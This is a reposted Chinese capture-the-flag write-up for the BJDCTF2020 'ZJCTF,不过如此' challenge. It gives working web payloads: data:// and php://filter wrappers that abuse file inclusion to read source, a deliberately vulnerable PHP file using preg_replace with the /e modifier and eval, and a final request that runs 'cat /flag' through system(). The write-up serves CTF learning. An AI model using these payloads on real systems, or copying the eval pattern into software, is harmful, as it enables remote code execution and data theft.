首页 > 其他 > 详细

[BJDCTF2020]ZJCTF,不过如此

时间:2020-05-05 00:08:44      阅读:385      评论:0      收藏:0      [点我收藏+]

写在前边

  越来越感觉自己是酸菜鱼。。。全是知识盲区啊

  题目在BUU上有复现

解题

  直接给出源码

技术分享图片

 

 

   简单分析一下,$text要等于I have a dream,因为这里有===,所以用text/plain纯文本形式传入,包含了$file,没做过滤,可以用伪协议读取next.php

playload:

?text=data://text/plain,I%20have%20a%20dream&file=php://filter/convert.base64-encode/resource=next.php

 base64解密一下,得到next.php源码

<?php
$id = $_GET[‘id‘];
$_SESSION[‘id‘] = $id;

function complex($re, $str) {
    return preg_replace(
        ‘/(‘ . $re . ‘)/ei‘,
        ‘strtolower("\\1")‘,
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
    @eval($_GET[‘cmd‘]);
}

  分析一下,注意 return preg_replace(‘/(‘ . $re . ‘)/ei‘,‘strtolower("\\1")‘,$str);具体分析 http://www.xinyueseo.com/websecurity/158.html

  源码中有个getFlag(),可以利用

next.php?\S*=${getFlag()}&cmd=system(‘cat /flag‘);

 

参考链接

  https://blog.csdn.net/weixin_44348894/article/details/105870899

[BJDCTF2020]ZJCTF,不过如此

原文:https://www.cnblogs.com/Lee-404/p/12828694.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!